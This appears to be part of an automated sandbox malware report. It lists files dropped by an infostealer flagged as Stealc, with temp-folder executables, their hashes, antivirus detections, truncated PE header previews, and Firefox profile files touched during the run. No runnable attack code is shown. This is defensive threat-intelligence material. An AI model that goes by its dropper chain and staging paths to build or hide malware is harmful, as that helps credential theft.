SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002711001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2837504
Entropy (8bit):	6.535045680578784
Encrypted:	false
SSDEEP:	49152:LFiTV4/ib8TTZIjIfhg5N0hV+lfpjg8L4eyJSQTrY+:5ih4/zTZIjIfhgcexjgvJN
MD5:	566B3738EDFEF78962A1B77D7FA5A241
SHA1:	B36F1CA9907F644E413269F365BA1EAF6C2B5F5E
SHA-256:	A83D1EF4E5D889DE02C05C082115171E2EE3966035CFEC96BAC1F7ACC044912C
SHA-512:	FC6FF37B97888D7C4B36C708B0D8670F4D161E50579DC5382BAF592FBF9F480FE9FF6FEE6DD13E335D0D0020D2078F78B718AEC4D2678BAA7EA3715413E256F6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xkeovjkc..+.........:..............@...pxadkpqa. ....+......&+.............@....taggant.@....+.."...+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1QL5CL9NMBWTM5JDZ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950377259066651
Encrypted:	false
SSDEEP:	49152:6+OTOEeaJ2ikORWAU9H5YTOmp30HGrdUFHAk1/:3OuaJ2ilRYd5YKR/F
MD5:	92BAB4277B1265153874BB2E7B41F309
SHA1:	3122E6BC0D27460EEB3A77CF8640D0CD6326AD90
SHA-256:	A9958BD6B30A88BD8D4DD2DCDEA84F3DB0431CBC9756C86A8D4A3A89C49ABB99
SHA-512:	BCFC55B1155EA8D65D4D7720170BDB6EFDE70341D6BAE32EE0D35ECC4E3DA2E94EBFB37C28844F02623852808DC7C8519813F435DCC425B05040394788E07E7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....j.....@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...ibghtiqx......1.....................@...zeltcjlx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2837504
Entropy (8bit):	6.535045680578784
Encrypted:	false
SSDEEP:	49152:LFiTV4/ib8TTZIjIfhg5N0hV+lfpjg8L4eyJSQTrY+:5ih4/zTZIjIfhgcexjgvJN
MD5:	566B3738EDFEF78962A1B77D7FA5A241
SHA1:	B36F1CA9907F644E413269F365BA1EAF6C2B5F5E
SHA-256:	A83D1EF4E5D889DE02C05C082115171E2EE3966035CFEC96BAC1F7ACC044912C
SHA-512:	FC6FF37B97888D7C4B36C708B0D8670F4D161E50579DC5382BAF592FBF9F480FE9FF6FEE6DD13E335D0D0020D2078F78B718AEC4D2678BAA7EA3715413E256F6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xkeovjkc..+.........:..............@...pxadkpqa. ....+......&+.............@....taggant.@....+.."...+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E7HQ3XMUO6VYIDJ3F2DE2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2837504
Entropy (8bit):	6.535045680578784
Encrypted:	false
SSDEEP:	49152:LFiTV4/ib8TTZIjIfhg5N0hV+lfpjg8L4eyJSQTrY+:5ih4/zTZIjIfhgcexjgvJN
MD5:	566B3738EDFEF78962A1B77D7FA5A241
SHA1:	B36F1CA9907F644E413269F365BA1EAF6C2B5F5E
SHA-256:	A83D1EF4E5D889DE02C05C082115171E2EE3966035CFEC96BAC1F7ACC044912C
SHA-512:	FC6FF37B97888D7C4B36C708B0D8670F4D161E50579DC5382BAF592FBF9F480FE9FF6FEE6DD13E335D0D0020D2078F78B718AEC4D2678BAA7EA3715413E256F6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xkeovjkc..+.........:..............@...pxadkpqa. ....+......&+.............@....taggant.@....+.."...+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EGCHWF62L351BCP5BKZSSW.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950377259066651
Encrypted:	false
SSDEEP:	49152:6+OTOEeaJ2ikORWAU9H5YTOmp30HGrdUFHAk1/:3OuaJ2ilRYd5YKR/F
MD5:	92BAB4277B1265153874BB2E7B41F309
SHA1:	3122E6BC0D27460EEB3A77CF8640D0CD6326AD90
SHA-256:	A9958BD6B30A88BD8D4DD2DCDEA84F3DB0431CBC9756C86A8D4A3A89C49ABB99
SHA-512:	BCFC55B1155EA8D65D4D7720170BDB6EFDE70341D6BAE32EE0D35ECC4E3DA2E94EBFB37C28844F02623852808DC7C8519813F435DCC425B05040394788E07E7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....j.....@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...ibghtiqx......1.....................@...zeltcjlx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GCVLAW8OP2HD5YHJC3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950377259066651
Encrypted:	false
SSDEEP:	49152:6+OTOEeaJ2ikORWAU9H5YTOmp30HGrdUFHAk1/:3OuaJ2ilRYd5YKR/F
MD5:	92BAB4277B1265153874BB2E7B41F309
SHA1:	3122E6BC0D27460EEB3A77CF8640D0CD6326AD90
SHA-256:	A9958BD6B30A88BD8D4DD2DCDEA84F3DB0431CBC9756C86A8D4A3A89C49ABB99
SHA-512:	BCFC55B1155EA8D65D4D7720170BDB6EFDE70341D6BAE32EE0D35ECC4E3DA2E94EBFB37C28844F02623852808DC7C8519813F435DCC425B05040394788E07E7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....j.....@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...ibghtiqx......1.....................@...zeltcjlx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2837504
Entropy (8bit):	6.535045680578784
Encrypted:	false
SSDEEP:	49152:LFiTV4/ib8TTZIjIfhg5N0hV+lfpjg8L4eyJSQTrY+:5ih4/zTZIjIfhgcexjgvJN
MD5:	566B3738EDFEF78962A1B77D7FA5A241
SHA1:	B36F1CA9907F644E413269F365BA1EAF6C2B5F5E
SHA-256:	A83D1EF4E5D889DE02C05C082115171E2EE3966035CFEC96BAC1F7ACC044912C
SHA-512:	FC6FF37B97888D7C4B36C708B0D8670F4D161E50579DC5382BAF592FBF9F480FE9FF6FEE6DD13E335D0D0020D2078F78B718AEC4D2678BAA7EA3715413E256F6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...xkeovjkc..+.........:..............@...pxadkpqa. ....+......&+.............@....taggant.@....+.."...+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950377259066651
Encrypted:	false
SSDEEP:	49152:6+OTOEeaJ2ikORWAU9H5YTOmp30HGrdUFHAk1/:3OuaJ2ilRYd5YKR/F
MD5:	92BAB4277B1265153874BB2E7B41F309
SHA1:	3122E6BC0D27460EEB3A77CF8640D0CD6326AD90
SHA-256:	A9958BD6B30A88BD8D4DD2DCDEA84F3DB0431CBC9756C86A8D4A3A89C49ABB99
SHA-512:	BCFC55B1155EA8D65D4D7720170BDB6EFDE70341D6BAE32EE0D35ECC4E3DA2E94EBFB37C28844F02623852808DC7C8519813F435DCC425B05040394788E07E7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....j.....@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...ibghtiqx......1.....................@...zeltcjlx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NX5XML9A4AMIPXG5AGRT0AH025A0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1911296
Entropy (8bit):	7.950377259066651
Encrypted:	false
SSDEEP:	49152:6+OTOEeaJ2ikORWAU9H5YTOmp30HGrdUFHAk1/:3OuaJ2ilRYd5YKR/F
MD5:	92BAB4277B1265153874BB2E7B41F309
SHA1:	3122E6BC0D27460EEB3A77CF8640D0CD6326AD90
SHA-256:	A9958BD6B30A88BD8D4DD2DCDEA84F3DB0431CBC9756C86A8D4A3A89C49ABB99
SHA-512:	BCFC55B1155EA8D65D4D7720170BDB6EFDE70341D6BAE32EE0D35ECC4E3DA2E94EBFB37C28844F02623852808DC7C8519813F435DCC425B05040394788E07E7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....j.....@.................................W...k............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..+.........................@...ibghtiqx......1.....................@...zeltcjlx......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.921030168485915
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNeA96bxE:8S+OVPUFRbOdwNIOdYpjvY1Q6Leq8P
MD5:	0B043AA97F4A5C7FB570E5407C196F99
SHA1:	692CFA2D1CC45B1AC49989B20703F265B8FD6E7B
SHA-256:	EB2FCB979725023140E5A23DEE1F8F3BC4190D65568EF311C3437DA4C9261B9A
SHA-512:	E7D404BFF8D72382ED3F0E1CABE1A2230A7F217B4099319F3C81353DC71A14F59859E85315DC587DBBC2291B2BE191C5D1D98C01A0F8BBB6A44FB6977D13E191
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.921030168485915
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNeA96bxE:8S+OVPUFRbOdwNIOdYpjvY1Q6Leq8P
MD5:	0B043AA97F4A5C7FB570E5407C196F99
SHA1:	692CFA2D1CC45B1AC49989B20703F265B8FD6E7B
SHA-256:	EB2FCB979725023140E5A23DEE1F8F3BC4190D65568EF311C3437DA4C9261B9A
SHA-512:	E7D404BFF8D72382ED3F0E1CABE1A2230A7F217B4099319F3C81353DC71A14F59859E85315DC587DBBC2291B2BE191C5D1D98C01A0F8BBB6A44FB6977D13E191
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
